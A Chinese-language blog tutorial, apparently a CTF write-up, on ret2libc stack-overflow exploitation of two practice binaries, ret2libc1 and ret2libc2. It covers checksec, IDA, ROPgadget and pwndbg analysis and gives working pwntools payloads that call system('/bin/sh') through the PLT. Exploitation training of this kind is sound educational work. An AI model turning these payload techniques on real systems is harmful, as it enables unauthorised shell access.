博客网址:www.shicoder.top
微信:kj11011029
欢迎加群聊天 :452380935
前面我们对ret2syscall
程序进行讲解,这一次我们来说一个类似的ret2libc
系列,但是这次的程序有一个重要的变化就是动态链接
ret2libc1
还是先用file
和checksec
检查下
ROP$ checksec ret2libc1
[*] '/home/pwn/桌面/题目/ROP/ret2libc1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ROP$ file ret2libc1
ret2libc1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb89c86b266de4ff294489da59959a62f7aa1e61, with debug_info, not stripped
可以看到打开了栈不可执行,32位,动态链接,那么比如ret2syscall
中,我们想找到一些代码片段,组合成我们想要的就不太可以了
我们先用IDA
打开看下
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(&s);
return 0;
}
还是一个gets
导致的栈溢出,那么思路还是让程序执行system("/bin/sh")
,但是此时是动态链接,IDA
左边的函数窗口也可以看出基本没有什么函数,因此肯定就找不到代码片段,但是我们看到有一个secure
函数
void secure()
{
unsigned int v0; // eax
int input; // [esp+18h] [ebp-10h]
int secretcode; // [esp+1Ch] [ebp-Ch]
v0 = time(0);
srand(v0);
secretcode = rand();
__isoc99_scanf("%d", &input);
if ( input == secretcode )
system("shell!?");
}
有一个system
函数,那就好办了,本身它是一个动态链接的,然后自己又使用了system
函数,那么在它的plt
中就存放了system
这个表项,虽然我们不能找到system
真实的地址,但是通过system@plt
,我们同样可以调用system
注意:这一段逻辑需要对动态链接有一定的了解
那么我们就直接去找system@plt
,通过IDA
可以看到
plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]
那我们构造的payload
的形式如下
注意:通过函数调用栈可以知道,一个函数,比如system
,它要用的参数是调用它的函数在调用它之前push
进去的,而且在它的上2个字节处,因此我们要让"/bin/sh"
在system
的上2个字节处
那么/bin/sh
怎么找到呢,2个方法
ROPgadget
ROP$ ROPgadget --binary ret2libc1 --string '/bin/sh'
Strings information
============================================================
0x08048720 : /bin/sh
pwn
,可以通过python pwn得到
,代码如下
>>> from pwn import *
>>> elf = ELF("./ret2libc1")
[*] '/home/pwn/桌面/题目/ROP/ret2libc1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
>>> binsh_addr = next(elf.search(b'/bin/sh'))
>>> binsh_addr
134514464
>>> hex(binsh_addr)
'0x8048720'
>>>
IDA
,shift+f12
,然后可以看到程序使用的一些字符串,然后双击进入
LOAD:08048154 00000013 C /lib/ld-linux.so.2
LOAD:080482B9 0000000A C libc.so.6
LOAD:080482C3 0000000F C _IO_stdin_used
LOAD:080482D2 00000005 C gets
LOAD:080482D7 00000006 C srand
LOAD:080482DD 0000000F C __isoc99_scanf
LOAD:080482EC 00000005 C puts
LOAD:080482F1 00000005 C time
LOAD:080482F6 00000006 C stdin
LOAD:080482FC 00000007 C stdout
LOAD:08048303 00000007 C system
LOAD:0804830A 00000008 C setvbuf
LOAD:08048312 00000012 C __libc_start_main
LOAD:08048324 0000000F C __gmon_start__
LOAD:08048333 0000000A C GLIBC_2.7
LOAD:0804833D 0000000A C GLIBC_2.0
.rodata:08048720 00000008 C /bin/sh
.rodata:0804872B 00000008 C shell!?
.rodata:08048733 0000000D C RET2LIBC >_<
.eh_frame:080487AB 00000005 C ;*2$\"
==================================
.rodata:08048720 aBinSh db '/bin/sh',0 ; DATA XREF: .data:shell↓o
那么最后一步就是看下我们要填充多长距离
pwndbg> stack 40
00:0000│ esp 0xffffd0f0 —▸ 0xffffd10c ◂— 'AAAAAAAA'
01:0004│ 0xffffd0f4 ◂— 0x0
02:0008│ 0xffffd0f8 ◂— 0x1
03:000c│ 0xffffd0fc ◂— 0x0
... ↓
06:0018│ 0xffffd108 —▸ 0xf7ffd000 ◂— 0x2bf24
07:001c│ eax 0xffffd10c ◂— 'AAAAAAAA'
... ↓
09:0024│ edx 0xffffd114 ◂— 0x500
0a:0028│ 0xffffd118 ◂— 0xa5
0b:002c│ 0xffffd11c —▸ 0xf7fb3a80 (__dso_handle) ◂— 0xf7fb3a80
0c:0030│ 0xffffd120 ◂— 0x0
0d:0034│ 0xffffd124 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
0e:0038│ 0xffffd128 —▸ 0xf7ffc7e0 (_rtld_global_ro) ◂— 0x0
0f:003c│ 0xffffd12c —▸ 0xf7fb8c68 (__exit_funcs_lock) ◂— 0x0
10:0040│ 0xffffd130 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
11:0044│ 0xffffd134 —▸ 0xf7fe22f0 ◂— endbr32
12:0048│ 0xffffd138 ◂— 0x0
13:004c│ 0xffffd13c —▸ 0x8048405 (_init+9) ◂— add ebx, 0x1bfb
14:0050│ 0xffffd140 —▸ 0xf7fb53fc (__exit_funcs) —▸ 0xf7fb6900 (initial) ◂— 0x0
15:0054│ 0xffffd144 ◂— 0x40000
16:0058│ 0xffffd148 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f14 (_DYNAMIC) ◂— 0x1
17:005c│ 0xffffd14c —▸ 0x80486e2 (__libc_csu_init+82) ◂— add edi, 1
18:0060│ 0xffffd150 ◂— 0x1
19:0064│ 0xffffd154 —▸ 0xffffd214 —▸ 0xffffd3cc ◂— 0x6d6f682f ('/hom')
1a:0068│ 0xffffd158 —▸ 0xffffd21c —▸ 0xffffd3f2 ◂— 'SSH_AUTH_SOCK=/run/user/1000/keyring/ssh'
1b:006c│ 0xffffd15c —▸ 0xf7e03519 (__cxa_atexit+41) ◂— add esp, 0x1c
1c:0070│ 0xffffd160 —▸ 0xf7fe22f0 ◂— endbr32
1d:0074│ 0xffffd164 ◂— 0x0
1e:0078│ 0xffffd168 —▸ 0x804869b (__libc_csu_init+11) ◂— add ebx, 0x1965
1f:007c│ 0xffffd16c ◂— 0x0
20:0080│ 0xffffd170 —▸ 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
... ↓
22:0088│ ebp 0xffffd178 ◂— 0x0
23:008c│ 0xffffd17c —▸ 0xf7de9ee5 (__libc_start_main+245) ◂— add esp, 0x10
同样是112字节,那么最终的payload
为
systemplt_addr = 0x08048460
binsh_addr = 0x8048720
payload = b'A' * 112 + p32(systemplt_addr) + b'AAAA' + p32(binsh_addr)
ret2libc2
这一个程序和上一个程序最大的差距在于题目并没有提供/bin/sh
字符串,那我们怎么搞呢,现在说白了就是缺少一个字符串bin/sh
,对了,我们不可以自己构造一个吗,你看它的源码
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("Something surprise here, but I don't think it will work.");
printf("What do you think ?");
gets(&s);
return 0;
}
它不是有get
函数吗,那么我们的payload
可以这样呀
那现在就是要找到一个buf
来存放我们的bin/sh
,一般的思路是去bss
看有没有一个全局,还真有
.bss:0804A080 public buf2
.bss:0804A080 ; char buf2[100]
.bss:0804A080 buf2 db 64h dup(?)
.bss:0804A080 _bss ends
那就简单了,payload
如下
from pwn import *
p = process("./ret2libc2")
get_addr = 0x08048460
bss_addr = 0x0804A080
sys_addr = 0x08048490
payload = b'A' * 112 + p32(get_addr) + p32(sys_addr) + p32(bss_addr) + p32(bss_addr)
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()
评论 (0)